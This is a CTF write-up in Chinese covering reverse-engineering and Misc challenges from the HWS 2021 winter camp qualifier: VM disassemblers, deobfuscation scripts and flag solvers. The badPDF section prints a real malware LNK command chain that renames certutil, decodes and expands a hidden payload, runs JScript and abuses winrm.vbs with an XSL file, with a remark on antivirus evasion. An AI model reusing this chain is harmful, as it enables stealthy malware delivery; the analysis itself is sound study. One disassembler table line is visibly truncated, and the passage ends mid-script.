【wp】HWS计划2021硬件安全冬令营线上选拔赛


昨天打完的选拔赛,超级无敌难得过来及时更新(被好多师傅催来着哈哈哈,ddl第一生产力。

只能说这次比赛太幸运了,能碰到这么多逆向题,甚至还有两道流落在Misc和Crypto的apk,相对来说没什么固件题(固件好菜,RW嗑了八个多小时没嗑出来TAT),那肯定开冲√

感谢师傅们手下留情╰(*°▽°*)╯

image-20220125222610060

Reverse

babyvm

vm签到题,这个题做完以后看到是一血人都傻了,看到easyvm已经三血开外了人就更傻了,明明应该baby比easy简单的吧

一些简单粗暴的花指令

image-20220124230108761

花指令有点多,直接idapython走起

from idc_bc695 import *
start_addr = 0x00412CC0
end_addr = 0x00413991
l = [0x74, 0x03, 0x75, 0x01, 0xE8]
def myNop(addr, end):
    while addr < end:
        for i in range(len(l)):
            if idc.get_wide_byte(addr + i) != l[i]:
                addr += 1
                break
        else:
            for i in range(len(l)):
                PatchByte(addr, 0x90)
                addr += 1
    print("[+] nop ok!!")
myNop(start_addr, end_addr)
for i in range(start_addr, end_addr + 1):
    MakeUnkn(i, 0x90)

去完花以后可以看到主函数直接跳到vm

image-20220124224524473

image-20220124224611724

而查vm的交叉引用可以发现有四个地方都用到了vm函数,说明opcode实际上分成了四段(四个起点)

逐个逆出32个case的作用,dump出opcode(opcode以qword为单位,偏移这边都是+8/+16这样),写反汇编器

(反汇编器模板在:myReverseExps/VMinterpreter.py at main · c10udlnk/myReverseExps,不过很久没改过了,每次都是做题的时候拉下来现改,有空再把新版放上去吧hhhh)

ins_set={ 0: [3, 2, "mov arr[r{0}], 0x{1:0>4X}"],
          1: [3, 2, "mov r{0}, 0x{1:0>4X}"],
          2: [3, 2, "mov r{0}, r{1}"],
          3: [3, 2, "mov r{0}, arr[r{1}]"],
          4: [3, 2, "mov arr[r{0}], r{1}"],
          5: [3, 1, "push r{0}"],
          6: [3, 1, "pop r{0}"],
          7: [3, 2, "add r{0}, 0x{1:0>4X}"],
          8: [3, 2, "add r{0}, r{1}"],
          9: [3, 2, "sub r{0}, 0x{1:0>4X}"],
         10: [3, 2, "sub r{0}, r{1}"],
         11: [3, 2, "mul r{0}, 0x{1:0>4X}"],
         12: [3, 2, "mul r{0}, r{1}"],
         13: [3, 2, "shl r{0}, 0x{1:0>4X}"],
         14: [3, 2, "shl r{0}, r{1}"],
         15: [3, 2, "shr r{0}, 0x{1:0>4X}"],
         16: [3, 2, "shr r{0}, r{1}"],
         17: [3, 2, "xor r{0}, 0x{1:0>4X}"],
         18: [3, 2, "xor r{0}, r{1}"],
         19: [3, 2, "or r{0}, 0x{1:0>4X}"],
         20: [3, 2, "or r{0}, r{1}"],
         21: [3, 2, "and r{0}, 0x{1:0>4X}"],
         22: [3, 2, "and r{0}, r{1}"],
         23: [3, 1, "mov r{0}, getchar()"],
         24: [3, 1, "putchar(r{0})"],
         25: [3, 0, "exit"],
         26: [3, 2, "cmp r{0}, 0x{1:0>4X}"],
         27: [3, 2, "cmp r{0}, r{1}"],
         28: [3, 1, "jz {0:0>3}"],
         29: [3, 1, "jmp {0:0>3}"],
         30: [3, 1, "jl {0:0>3}"],
         31: [3, 1, "jnz {0:0>3}"]}
opcode = [18, 0, 0, 18, 1, 1, 18, 2, 2, 18, 3, 3, 18, 6, 6, 18, 7, 7, 1, 0, 105, 1, 1, 110, 1, 2, 112, 1, 3, 117, 1, 6, 116, 1, 7, 32, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 1, 0, 102, 1, 1, 108, 1, 2, 97, 1, 3, 103, 1, 6, 58, 1, 7, 32, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 18, 1, 1, 23, 0, 18446744073709551615, 5, 0, 18446744073709551615, 7, 1, 1, 26, 1, 38, 30, 31, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615, 18, 2, 2, 0, 2, 255, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 571, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 587, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 251, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 239, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 239, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 571, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 255, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 587, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 587, 7, 2, 1, 0, 2, 239, 7, 2, 1, 25, 18446744073709551615, 18446744073709551615, 18, 2, 2, 3, 0, 2, 9, 0, 99, 4, 2, 0, 7, 2, 1, 26, 2, 32, 30, 1, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 125, 28, 18, 18446744073709551615, 1, 0, 119, 1, 1, 114, 1, 2, 111, 1, 3, 110, 1, 6, 103, 1, 7, 33, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 1, 0, 10, 24, 0, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615, 1, 8, 256, 26, 8, 225, 30, 25, 18446744073709551615, 6, 0, 18446744073709551615, 4, 8, 0, 9, 8, 1, 29, 19, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 123, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 103, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 97, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 108, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 102, 31, 3, 18446744073709551615, 18, 9, 9, 1, 10, 225, 3, 7, 9, 3, 6, 10, 17, 6, 66, 13, 6, 2, 27, 6, 7, 31, 3, 18446744073709551615, 7, 9, 1, 7, 10, 1, 26, 9, 32, 30, 42, 18446744073709551615, 1, 0, 99, 1, 1, 111, 1, 2, 114, 1, 3, 114, 1, 6, 101, 1, 7, 99, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 1, 0, 116, 1, 1, 108, 1, 2, 121, 1, 3, 33, 1, 6, 10, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615]
pc = 0
res = ["Addr    Code\n"]
addrfmt = "{0:0>3}     "
base = 0x41E000
func_start = [0x41E000, 0x41E378, 0x41E9A8, 0x41EA68]
for i in range(len(func_start)):
    func_start[i] = (func_start[i]-base) // 8
lstFunc = 0
while pc < len(opcode):
    i = pc
    pc += ins_set[opcode[i]][0]
    res.append(addrfmt.format(i - lstFunc))
    if opcode[i] not in ins_set.keys():
        print("[-] UknOpcode 0x{0:X} in addr 0x{1:0>8X}.\n".format(opcode[i],i))
        break
    elif 28 <= opcode[i] <= 31:
        res.append(ins_set[opcode[i]][2].format(opcode[i+1]*3)+'\n')
    else:
        args=[]
        for j in range(ins_set[opcode[i]][1]):
            args.append(opcode[i+1+j])
        res.append(ins_set[opcode[i]][2].format(*args)+'\n')
    if pc in func_start:
        res.append('\n')
        lstFunc = pc

with open('res.txt', 'w') as f:
    f.writelines(res)

拿到res.txt,注释里写了一些各段汇编的作用,就不再另开段落说明了(懒

Addr    Code
;初始化寄存器,打印提示信息,接收flag并保存在栈上
000     xor r0, r0
003     xor r1, r1
006     xor r2, r2
009     xor r3, r3
012     xor r6, r6
015     xor r7, r7
018     mov r0, 0x0069
021     mov r1, 0x006E
024     mov r2, 0x0070
027     mov r3, 0x0075
030     mov r6, 0x0074
033     mov r7, 0x0020
036     putchar(r0)
039     putchar(r1)
042     putchar(r2)
045     putchar(r3)
048     putchar(r6)
051     putchar(r7)
054     mov r0, 0x0066
057     mov r1, 0x006C
060     mov r2, 0x0061
063     mov r3, 0x0067
066     mov r6, 0x003A
069     mov r7, 0x0020
072     putchar(r0)
075     putchar(r1)
078     putchar(r2)
081     putchar(r3)
084     putchar(r6)
087     putchar(r7)
090     xor r1, r1
093     mov r0, getchar()
096     push r0
099     add r1, 0x0001
102     cmp r1, 0x0026
105     jl 093
108     exit
;初始化已知数组
000     xor r2, r2
003     mov arr[r2], 0x00FF
006     add r2, 0x0001
009     mov arr[r2], 0x0223
012     add r2, 0x0001
015     mov arr[r2], 0x023B
018     add r2, 0x0001
021     mov arr[r2], 0x0237
024     add r2, 0x0001
027     mov arr[r2], 0x0237
030     add r2, 0x0001
033     mov arr[r2], 0x024B
036     add r2, 0x0001
039     mov arr[r2], 0x022B
042     add r2, 0x0001
045     mov arr[r2], 0x00FB
048     add r2, 0x0001
051     mov arr[r2], 0x022B
054     add r2, 0x0001
057     mov arr[r2], 0x0223
060     add r2, 0x0001
063     mov arr[r2], 0x024F
066     add r2, 0x0001
069     mov arr[r2], 0x00EF
072     add r2, 0x0001
075     mov arr[r2], 0x0237
078     add r2, 0x0001
081     mov arr[r2], 0x00EF
084     add r2, 0x0001
087     mov arr[r2], 0x024F
090     add r2, 0x0001
093     mov arr[r2], 0x024F
096     add r2, 0x0001
099     mov arr[r2], 0x0223
102     add r2, 0x0001
105     mov arr[r2], 0x0223
108     add r2, 0x0001
111     mov arr[r2], 0x023B
114     add r2, 0x0001
117     mov arr[r2], 0x0237
120     add r2, 0x0001
123     mov arr[r2], 0x00FF
126     add r2, 0x0001
129     mov arr[r2], 0x0233
132     add r2, 0x0001
135     mov arr[r2], 0x0233
138     add r2, 0x0001
141     mov arr[r2], 0x0233
144     add r2, 0x0001
147     mov arr[r2], 0x0237
150     add r2, 0x0001
153     mov arr[r2], 0x024B
156     add r2, 0x0001
159     mov arr[r2], 0x0233
162     add r2, 0x0001
165     mov arr[r2], 0x024F
168     add r2, 0x0001
171     mov arr[r2], 0x022B
174     add r2, 0x0001
177     mov arr[r2], 0x022B
180     add r2, 0x0001
183     mov arr[r2], 0x024B
186     add r2, 0x0001
189     mov arr[r2], 0x00EF
192     add r2, 0x0001
195     exit
;对已知数组进行-63处理
000     xor r2, r2
003     mov r0, arr[r2]
006     sub r0, 0x0063
009     mov arr[r2], r0
012     add r2, 0x0001
015     cmp r2, 0x0020
018     jl 003
021     exit
;比较flag的格式是否为"flag{}",flag顺序存在已知数组后面的一段内存中,从头遍历进行xor 0x42和左移2处理
000     pop r0
003     cmp r0, 0x007D
006     jz 054
009     mov r0, 0x0077
012     mov r1, 0x0072
015     mov r2, 0x006F
018     mov r3, 0x006E
021     mov r6, 0x0067
024     mov r7, 0x0021
027     putchar(r0)
030     putchar(r1)
033     putchar(r2)
036     putchar(r3)
039     putchar(r6)
042     putchar(r7)
045     mov r0, 0x000A
048     putchar(r0)
051     exit
054     mov r8, 0x0100
057     cmp r8, 0x00E1
060     jl 075
063     pop r0
066     mov arr[r8], r0
069     sub r8, 0x0001
072     jmp 057
075     pop r0
078     cmp r0, 0x007B
081     jnz 009
084     pop r0
087     cmp r0, 0x0067
090     jnz 009
093     pop r0
096     cmp r0, 0x0061
099     jnz 009
102     pop r0
105     cmp r0, 0x006C
108     jnz 009
111     pop r0
114     cmp r0, 0x0066
117     jnz 009
120     xor r9, r9
123     mov r10, 0x00E1
126     mov r7, arr[r9]
129     mov r6, arr[r10]
132     xor r6, 0x0042
135     shl r6, 0x0002
138     cmp r6, r7
141     jnz 009
144     add r9, 0x0001
147     add r10, 0x0001
150     cmp r9, 0x0020
153     jl 126
156     mov r0, 0x0063
159     mov r1, 0x006F
162     mov r2, 0x0072
165     mov r3, 0x0072
168     mov r6, 0x0065
171     mov r7, 0x0063
174     putchar(r0)
177     putchar(r1)
180     putchar(r2)
183     putchar(r3)
186     putchar(r6)
189     putchar(r7)
192     mov r0, 0x0074
195     mov r1, 0x006C
198     mov r2, 0x0079
201     mov r3, 0x0021
204     mov r6, 0x000A
207     putchar(r0)
210     putchar(r1)
213     putchar(r2)
216     putchar(r3)
219     putchar(r6)
222     exit

然后反向写出exp:

arr = [0x00FF, 0x0223, 0x023B, 0x0237, 0x0237, 0x024B, 0x022B, 0x00FB, 0x022B, 0x0223, 0x024F, 0x00EF, 0x0237, 0x00EF, 0x024F, 0x024F, 0x0223, 0x0223, 0x023B, 0x0237, 0x00FF, 0x0233, 0x0233, 0x0233, 0x0237, 0x024B, 0x0233, 0x024F, 0x022B, 0x022B, 0x024B, 0x00EF]
for i in range(len(arr)):
    arr[i] -= 0x0063
    arr[i] >>= 0x2
    arr[i] ^= 0x0042
    arr[i] = chr(arr[i])

print(''.join(arr))

image-20220123121306601

flag:e247780d029a7a992247e6667869008a

easyvm

idapython去花,好像还有一两个零散的花指令来着,不太记得了(

from idc_bc695 import *
start_addr = 0x401660
end_addr = 0x4016F8
l = [0x0F, 0x84, 0x07, 0x00, 0x00, 0x00, 0x0F, 0x85, 0x01, 0x00, 0x00, 0x00, 0xE8]
def myNop(addr, end):
    while addr < end:
        for i in range(len(l)):
            if idc.get_wide_byte(addr + i) != l[i]:
                addr += 1
                break
        else:
            for i in range(len(l)):
                PatchByte(addr, 0x90)
                addr += 1
    print("[+] nop ok!!")
myNop(start_addr, end_addr)
for i in range(start_addr, end_addr + 1):
    MakeUnkn(i, 0x90)

主逻辑在反编译没出来的sub_4012F0

image-20220124231739200

可以看到偏移和函数指针,点进offset能看到函数分发

image-20220124231838276

image-20220124231906463

sub_4011E0是base64魔改,魔改为在结果xor了0x0A0B0C0D

image-20220124232343311

然后走偏移的第零个即sub_401000,而sub_401000里面就有switch

image-20220124231944330

vm摁逆,已知数组在unk_40B050,opcode在unk_40B030

写反汇编器

ins_set={0xC0: [1, 0, "inc r1"],
         0xC1: [1, 0, "inc r2"],
         0xC2: [1, 0, "inc r3"],
         0xC3: [1, 0, "mov r1, r2"],
         0xC4: [1, 0, "mov r1, r3"],
         0xC5: [1, 0, "mov r2, r1"],
         0xC6: [1, 0, "mov r2, r3"],
         0xC7: [1, 0, "mov r3, r1"],
         0xC8: [1, 0, "mov r3, r2"],
         0xC9: [5, 4, "mov r1, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}"],
         0xCA: [5, 4, "mov r2, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}"],
         0xCB: [5, 4, "mov r3, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}"],
         0xCC: [1, 0, "mov r1, input[r3]"],
         0xCD: [1, 0, "mov r2, input[r3]"],
         0xCE: [1, 0, "xor r1, r2"],
         0xCF: [1, 0, "xor r2, r1"],
         0xD0: [1, 0, "cmp r1, data[r3]"], # a==b:1    a>b:2    a2X}{2:0>2X}{1:0>2X}{0:0>2X}"],
         0xD3: [2, 1, "jz {0:0>4}"], # == 1
         0xD4: [2, 1, "jnz {0:0>4}"], # == 0
         0xFE: [1, 0, "; wrong"],
         0xFF: [1, 0, "; right"]}
opcode = [0xCA, 0x00, 0x00, 0x00, 0x00, 0xCB, 0x00, 0x00, 0x00, 0x00, 0xCC, 0xCF, 0xC9, 0xEE, 0x00, 0x00, 0x00, 0xCF, 0xD1, 0xD3, 0x01, 0xFE, 0xC2, 0xD2, 0x39, 0x00, 0x00, 0x00, 0xD4, 0xEC, 0xFF]
pc = 0
res = ["Addr    Code\n"]
addrfmt = "{0:0>4}    "
while pc < len(opcode):
    i = pc
    pc += ins_set[opcode[i]][0]
    res.append(addrfmt.format(i))
    if opcode[i] not in ins_set.keys():
        print("[-] UknOpcode 0x{0:X} in addr 0x{1:0>8X}.\n".format(opcode[i],i))
        break
    elif opcode[i] in [0xD3, 0xD4]:
        jmpdelta = opcode[i+1] if opcode[i+1] & 0x80 == 0 else opcode[i+1] - 256
        res.append(ins_set[opcode[i]][2].format(pc + jmpdelta)+'\n')
    else:
        args=[]
        for j in range(ins_set[opcode[i]][1]):
            args.append(opcode[i+1+j])
        res.append(ins_set[opcode[i]][2].format(*args)+'\n')

with open('res.txt', 'w') as f:
    f.writelines(res)

拿到res.txt

Addr    Code
0000    mov r2, 0x00000000
0005    mov r3, 0x00000000
0010    mov r1, input[r3]
0011    xor r2, r1
0012    mov r1, 0x000000EE
0017    xor r2, r1
0018    cmp r2, data[r3]
0019    jz 0022
0021    ; wrong
0022    inc r3
0023    cmp r3, 0x00000039
0028    jnz 0010
0030    ; right

就是一个很简单的循环处理+比对,需要注意的是r2是累计值(被坑完出来的人5555,血泪经历)

连前面的base64魔改一起写exp:

import base64

data = [0xBE, 0x36, 0xAC, 0x27, 0x99, 0x4F, 0xDE, 0x44, 0xEE, 0x5F, 0xDA, 0x0B, 0xB5, 0x17, 0xB8, 0x68, 0xC2, 0x4E, 0x9C, 0x4A, 0xE1, 0x43, 0xF0, 0x22, 0x8A, 0x3B, 0x88, 0x5B, 0xE5, 0x54, 0xFF, 0x68, 0xD5, 0x67, 0xD4, 0x06, 0xAD, 0x0B, 0xD8, 0x50, 0xF9, 0x58, 0xE0, 0x6F, 0xC5, 0x4A, 0xFD, 0x2F, 0x84, 0x36, 0x85, 0x52, 0xFB, 0x73, 0xD7, 0x0D, 0xE3]
data = [0] + data
tmp = []
for i in range(1, len(data)):
    tmp.append(data[i-1] ^ 0xEE ^ data[i])

flag = ""
arr = [0xA, 0xB, 0xC, 0xD]
pos = 0
for x in tmp:
    flag += chr(tmp[pos] ^ arr[pos%4])
    pos += 1
print(flag)
print(base64.b64decode(flag.encode()))

image-20220123180848773

flag:2586dc76-98d5-44e2-ad58-d06e6559d82a

babyre

这题ollvm太阴间了啊啊啊!!!

惯例去完花以后,可以看到在主函数由很明显的几个函数段

image-20220124233120068

一个xor运算

image-20220124233208440

一个n复杂运算

image-20220124234946031

又一个xor运算

还有不知道在哪但绝对是最后一步的base64换表(在最后有比较,比较以后直接接success)

image-20220124233455356

image-20220124233505002

实在看不动了直接动态调试+找规律

用的几组测试数据↓

image-20220125230150063

关于xor的识别,这实际上是一种常用的混淆手法(在之前某一道题里磨砺出来的),顺便总结一下 (加上在这道题里学会的|),一般来说找几组数据验证一下就能猜出来的:

  • (~x|y)-(x|~y) == x - y
  • (~x&y)-(x&~y) == x - y
  • (~x&y)+(x&~y) == x ^ y
  • (~x&y)|(x&~y) == x ^ y
  • x|y+x|y-x-y == x ^ y
  • ~(~y|~x)|(y^x) == x | y

在这里下断点可以调出第一部分的xor

image-20220124234018420

看汇编可以知道xor的数据在var_18,8次循环,每次循环会改变4个字节,也就是说4字节为一组

往上翻到算出var_18的地方,发现是由每组同一位置共八字节的相互xor得到的,看附近的汇编代码即可

image-20220124234146931

于是有第一个逻辑:

arr = [0 for _ in range(4)]
for i in range(len(s)):
    arr[i%4] ^= s[i]
for i in range(len(s)):
    s[i] ^= arr[i%4]

第二个逻辑在下一个xor下断点

image-20220124234348460

通过动态调试可以看到是从3开始每次1字节1字节改变,同样3个一组,且如果输入为全相同(比如aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa)的时候更明显,这种输入不会受到第一个xor的影响(偶数个相同的异或起来为0)

xor的数据在var_31 var_32 var_33,同样可以看汇编往上追溯

image-20220124234626495

image-20220124234637112

image-20220124234644250

反编译可以看到就是那个巨复杂的运算,由真值表化简可以得到第二段逻辑

for i in range(3, len(s), 3):
    tmp = [s[i-3]>>2, ((s[i-2]>>4)|(~(~s[i-3]|0xfc)<<4))&0xff, ((s[i-1]>>6)|((s[i-2]&(s[i-2]^0xF0))<<2))&0xff]
    for j in range(i, len(s)):
        s[j] ^= tmp[j%3]

最后逆向写exp:

import base64

s = "Fi9X/fxX6Q6JBfUfBM1V/y6V6PcPjMaQLl9IuttFuH68"
# s = "aJW31v1YF9nucbsFYGp2/XtrIO8tUi7oBX1CYmVVuGZ0"
# s = "BGpvCSXOIOUgBOp0Uofm1PZh1Msa4YVaS81UmWHchtr"
# s = "1Of0LdCt6iVW/M6x1dc0LOPz6lYp/t9e1Of0LdCt6iQ1"

myTable  = "QVEJAfHmUYjBac+u8Ph5n9Od16FrICL/X0GvtM4qk7T2z3wNSsyoebilxWKgZpRD"
b64table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
s = list(base64.b64decode(s.translate(str.maketrans(myTable,b64table)).encode()))
# print(bytes(s))

# s = list("qwertyuiopasdfghjklzxcvbnm123456")
# s = "abcdefghijklmnopqrstuvwxyz012345"
# s = list("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")

# arr = [0 for _ in range(4)]
# for i in range(len(s)):
#     arr[i%4] ^= s[i]
# for i in range(len(s)):
#     s[i] ^= arr[i%4]

# for i in range(3, len(s), 3):
#     tmp = [s[i-3]>>2, ((s[i-2]>>4)|(~(~s[i-3]|0xfc)<<4))&0xff, ((s[i-1]>>6)|((s[i-2]&(s[i-2]^0xF0))<<2))&0xff]
#     for j in range(i, len(s)):
#         s[j] ^= tmp[j%3]
# print(bytes(s))

s2 = s.copy()
for i in range(3, len(s), 3):
    tmp = [s[i-3]>>2, ((s[i-2]>>4)|(~(~s[i-3]|0xfc)<<4))&0xff, ((s[i-1]>>6)|((s[i-2]&(s[i-2]^0xF0))<<2))&0xff]
    for j in range(i, len(s)):
        s2[j] ^= tmp[j%3]
s2 = s2[:-1] # 最后多了一位填充
# print(bytes(s2))

arr = [0 for _ in range(4)]
for i in range(len(s2)):
    arr[i%4] ^= s2[i]
for i in range(len(s2)):
    s2[i] ^= arr[i%4]
print(bytes(s2))

image-20220124234840708

flag:fce5e3dfc6db4f808ccaa6fcffecf583

Misc

badPDF

拿到文件就直接打开了orz,发现找不到js,意识到有payload嵌入。查看target

image-20220124222953794

这里显示不全,直接用十六进制阅读器打开可以看到target的一些关键字,定位到这里,把可见字符提取出来

image-20220124223125351

Windows\System32\cmd.exe /c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y&for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y&findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp>%tmp%\\cSi1r0uywDNvDu.tmp&%tmp%\\msoia.exe -decode %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\oGhPGUDC03tURV.tmp&expand %tmp%\\oGhPGUDC03tURV.tmp -F:* %tmp% &wscript %tmp%\\9sOXN6Ltf0afe7.js

在阅读代码的过程中搜索关键字(*ertu*.exe)找到了原病毒:https://www.freebuf.com/articles/network/241414.html

有一个很有趣的地方就是,这里明明就是复制一次(把certutil.exe复制过去),为什么要用到for呢。就是通过(*ertu*.exe)这个正则匹配绕过安全检测,毕竟那个文件夹里肯定就只有一个exe是符合的,不会有误操作,而且可以避免杀软啥的对certutil.exe操作的检查(猜的)。

我在CTF题学cmd命令,捂脸

image-20220124223701986

第一层是一样的,所以直接跟着他代码做,直到拿到9sOXN6Ltf0afe7.js

var e7926b8de13327f8e703624e = new ActiveXObject("WScript.Shell");
e7926b8de13327f8e703624e.Run ("cmd /c mkdir %tmp%\\cscript.exe&for /r C:\\Windows\\System32\\ %m in (cscr*.exe) do copy %m %tmp%\\cscript.exe\\msproof.exe /y&move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl&%tmp%\\cscript.exe\\msproof.exe //nologo %windir%\\System32\\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty&del \"%tmp%\\cscript.exe\\WsmPty.xsl\" /f /q&\"%tmp%\\20200308-sitrep-48-covid-19.pdf\"",0);

可以看到又是一层系统调用,不过这层就没什么东西了,就是让他能成功调用最后删除中间文件的过程。

做到move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl可以知道,上一步解压出来的cSi1r0uywDNvDu.tmp实际上也是一个代码,打开可以看到

<?xml version='1.0'?>


 
  

嵌入了一段VBscript的代码,速成VBscript可以发现这实际上就是个unhex+xor 1的过程

VBscript的关键点在:

  • "aaa" & "bbb" == "aaabbb",这里&是连接符的意思,相当于python里字符串之间的+
  • "&h41"实际上就是python里的"\x41",所以这里chr("&h"&mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2))是取两位然后unhex(内置函数的作用自行搜索)
  • VB里面异或就写成xor是我没想到的(逃

所以写exp有:

s = bytes.fromhex("676d60667a64333665326564333665326564333665326536653265643336656564333665327c")
flag = ""
for x in s:
    flag += chr(x ^ 1)
print(flag)

image-20220123133730571

flag:e27d3de27d3de27d3d7d3de27dde27d3

gogogo

本来以为raw是拼图的线索,一番内存取证发现并没有什么线索。

后来想到如果是python程序切出来的,那肯定出来的时间是有先后的吧(我就不信有人ps手切),所以直接日期排序走起。

电脑屏幕太小了显示不了16张一行,稍微微调了一下(每行删掉第一张

image-20220124214617674

image-20220124214649437

可以看到password是3e8f092d4d7b80ce338d6e238efb01。

能用到password的地方一般都是压缩包,于是去filescan一下把文件列表导出来,grep看有没有奇怪的压缩包。

image-20220124220232147

发现有一个csgo.zip.zip(fps玩家狂喜),感觉是奇怪的包,dump下来。

volatility -f 2.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000000002182dc0 -D ./ -u

用password解密发现可行,解出来一张打不开的csgo.png图片,png解包经典foremost

foremost csgo.png解出来两张图

image-20220124221520952

第一张图不太像二维码(四周补上的话data区缺太多),按着这个思路搜索其他的二维码发现一种特征在中间的Aztec code。

(赛后听凌邪师傅说枪的“阿兹特克”就是指这个Aztec,人傻了.jpg)

于是按照格式用photoshop拼了一下(做工极度粗糙,管他的能扫就行)

找到了(好像是唯一的)在线解码器:https://products.aspose.app/barcode/zh-hans/recognize/aztec#

image-20220123163515394

发现解码成功!

flag:fbab8380-a642-48aa-89b1-8e251f826b12

TimeTravel

看MainActivity没看出什么,发现有调库就先去看库了。

实在没找到能入手的地方,于是去翻字符串,居然看到了

image-20220124160814551

眉头一皱,发现并不简单.jpg

然后直接去找这个字符串的交叉引用,果然看到了一个check函数

image-20220124160914172

ooo000粗略的看起来是一个base64,sub_4AE8有一点混淆,通过调用的分析和一些典型操作(比如初始化s盒、xor,那几个图里已命名的函数)能大概看出来是个魔改rc4,从xor操作看出除了正常的rc4异或以外还异或了当前的序号。比较的v17是已知数组off_17180。

image-20220124162408263image-20220124162420829

在genKey里,密钥通过一个倒着的表和一些计算得出

image-20220124162553728

image-20220124162604899

所以可以根据他的方法将密钥算出来,同时在rc4的结果上遍历xor序号就能拿到第一部分的结果

ooo000的魔改在取数的时候取的是x^(x>>3)而不是x

image-20220124163120723

因为这个改动比较大,选择手写base64解码

invshift是以前比赛中用过的对x^(x>>3)算法的逆向函数(一招鲜吃遍天了属于是

算出来以后发现只拿到了后半部分,flag应该是一个uuid,前面少了八个字节

image-20220124163427892

于是跑回去翻java层,发现这个包其实是有个main2activity的(下次搜索一定少搜一点555,绝了

这里一看就是主函数了

比对前五字节是"flag{"和末尾字节的"}",把中间的部分提取出来,检查[0:3]是"e25",剩下五位爆破md5

image-20220124104800696

一个比较坑的地方在hexdigits是改了表的!!!!!!出题人其心可诛!!!!!!(划掉

爆了好久爆不出来才发现,太绝了,手动把哈希值的4和5、E和F进行替换来爆破才爆出来

image-20220124112955518

整道题的exp:

from hashlib import md5
from arc4 import ARC4
import base64

def bf(s):
    s = s.lower()
    charset = "0123456789abcdef"
    for a in charset:
        for b in charset:
            for c in charset:
                for d in charset:
                    for e in charset:
                        tmps = a + b + c + d + e
                        if md5(tmps.encode()).hexdigest() == s:
                            return tmps

res = bf("1F862D87DB3293B81C7D2935477A22EA") #手动将4和5,E和F进行替换
dst = [0x000000A8, 0x000000CE, 0x000000CE, 0x000000D7, 0x000000B1, 0x0000005A, 0x00000020, 0x0000004B, 0x000000AB, 0x000000A2, 0x00000023, 0x000000FA, 0x000000FC, 0x000000F0, 0x000000DF, 0x000000A5, 0x000000B4, 0x00000077, 0x000000E6, 0x00000041, 0x000000C4, 0x00000065, 0x00000084, 0x00000091, 0x0000008B, 0x0000000A, 0x000000E6, 0x000000AE, 0x000000BB, 0x000000B5, 0x00000037, 0x000000FD, 0x000000C0, 0x000000CB, 0x00000072, 0x00000078, 0x00000013, 0x00000091, 0x000000D3, 0x0000005E]
keytable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"[::-1]
key = []
v1 = -2078209981
for i in range(256):
    v13 = ((v1 * i) >> 32) + i
    v14 = (v13 >> 5) + (v13 >> 31)
    if i - 62*v14 < 0:
        print(i, i - 62*v14)
    key.append(keytable[i - 62 * v14])

key = ''.join(key).encode()
dst = bytes(dst)
rc4 = ARC4(key)
RC4ans = rc4.encrypt(dst)
src = []
for i in range(len(RC4ans)):
    src.append(RC4ans[i] ^ i)
src = bytes(src).decode()

table = "ZO6Kq79L&CPWvNopzQfghDRSG@di*kAB8rsFewxlm+/u5a^2YtTJUVEn0$HI34y#"
tmp = []
for x in src:
    if x == '=':
